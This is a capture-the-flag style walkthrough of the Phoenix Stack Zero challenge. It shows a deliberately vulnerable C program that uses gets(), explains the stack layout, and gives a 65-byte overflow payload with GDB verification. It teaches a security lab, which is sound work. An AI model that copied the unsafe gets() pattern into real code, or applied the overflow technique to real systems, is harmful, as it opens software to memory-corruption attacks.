Phoenix Stack Zero – Buffer Overflow Walkthrough
Overview
Stack Zero is the entry-level challenge from Exploit Education’s Phoenix series. It teaches one of the most fundamental concepts in binary exploitation: stack buffer overflows.
The goal is straightforward — overflow a buffer to overwrite an adjacent variable called changeme.
No local setup required. Everything runs inside the official Phoenix Docker image.
Environment Setup
Using the Official Phoenix Docker Image
Pull and run the Phoenix container:
docker pull exploiteducation/phoenix:amd64-latestdocker run --rm -it exploiteducation/phoenix:amd64-latestOnce inside the container, navigate to the challenge:
cd /opt/phoenix/amd64lsYou should see stack-zero listed among the binaries. All protections are pre-configured for learning — no manual disabling needed.
The Vulnerable Program
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
char *gets(char *);
int main(int argc, char **argv){ struct { char buffer[64]; volatile int changeme; } locals;
locals.changeme = 0; gets(locals.buffer);
if (locals.changeme != 0) { puts("Well done, the 'changeme' variable has been changed!"); } else { puts("Uh oh, 'changeme' has not yet been changed."); }
exit(0);}Understanding the Vulnerability
Memory Layout
Inside the struct, variables are laid out sequentially in memory:
Low addresses┌──────────────────┐│ buffer[64] │ ← input goes here├──────────────────┤│ changeme (int) │ ← sits directly after buffer└──────────────────┘High addressesWhy gets() Is the Problem
gets() reads user input with no length checking. It will keep writing bytes into memory until it hits a newline or EOF — blowing right past the 64-byte buffer boundary and into changeme.
// Unsafe — no bounds checkinggets(locals.buffer);
// Safe alternativefgets(locals.buffer, sizeof(locals.buffer), stdin);gets() was so dangerous it was formally removed from the C standard (C11). Any program still using it is vulnerable by design.
Step-by-Step Exploitation
Step 1 — Run the Program Normally
./stack-zeroType any short input (under 64 chars) and press Enter:
helloUh oh, 'changeme' has not yet been changed.The variable remains zero. Nothing interesting happens yet.
Step 2 — Trigger the Overflow
The buffer holds 64 bytes. Sending 65 or more bytes will spill into changeme.
python3 -c "print('A' * 65)" | ./stack-zeroOutput:
Well done, the 'changeme' variable has been changed!That’s it. One extra byte is enough because the program only checks whether changeme != 0.
Step 3 — Confirm With GDB
Start GDB on the binary:
gdb ./stack-zeroSet a breakpoint and run:
(gdb) break main(gdb) runInspect the addresses of both variables:
(gdb) print &locals.buffer(gdb) print &locals.changemeYou’ll see that changeme lives exactly 64 bytes after the start of buffer — confirming the offset:
&locals.buffer = 0x7fffffffe490&locals.changeme = 0x7fffffffe4d0 ← exactly +64Examine memory after overflow:
(gdb) x/72xb &locals.bufferYou’ll see 0x41 (A) filling the buffer and bleeding into changeme’s bytes.
Why This Works
| Input size | Effect |
|---|---|
| ≤ 64 bytes | Stays in buffer, changeme untouched |
| 65 bytes | Overwrites first byte of changeme |
| 68+ bytes | Fully overwrites all 4 bytes of changeme |
The check if (locals.changeme != 0) passes the moment any byte of changeme becomes non-zero.
Key Concepts
| Concept | What It Means |
|---|---|
| Stack buffer overflow | Writing past a buffer’s boundary into adjacent memory |
| Adjacent memory corruption | Variables next to an overflowed buffer get overwritten |
volatile keyword | Prevents the compiler from optimizing away reads of changeme |
gets() danger | No bounds check = arbitrary memory write |
| Stack canaries | A protection (disabled here) that detects overflows before return |
Learning Progression
Stack Zero sits at the very beginning of the binary exploitation path:
Stack Zero → variable overwriteStack One → control specific variable valueStack Two → environment-based overwriteStack Three → overwrite function pointerStack Four+ → control return address → full code executionEach level builds directly on the last.
Tools Reference
| Tool | Use |
|---|---|
gdb | Debugger — inspect memory, set breakpoints |
python3 | Generate payloads quickly |
objdump -d | Disassemble binary |
readelf -a | Inspect ELF headers and sections |
strings | Find readable strings in a binary |
pwntools | Python library for exploit scripting |
gef / peda | GDB extensions with better visualization |
Install pwntools inside the container if needed:
pip install pwntoolsTakeaways
- A single byte past a buffer boundary can change program behavior
- Stack variables are laid out sequentially — overflows affect neighbors
gets()is never safe, ever, under any circumstances- Understanding memory layout is the foundation of all binary exploitation
- The Phoenix image gives you a ready-to-go lab with zero configuration
From here, move on to Stack One to practice writing a specific value into an overwritten variable rather than just any non-zero byte.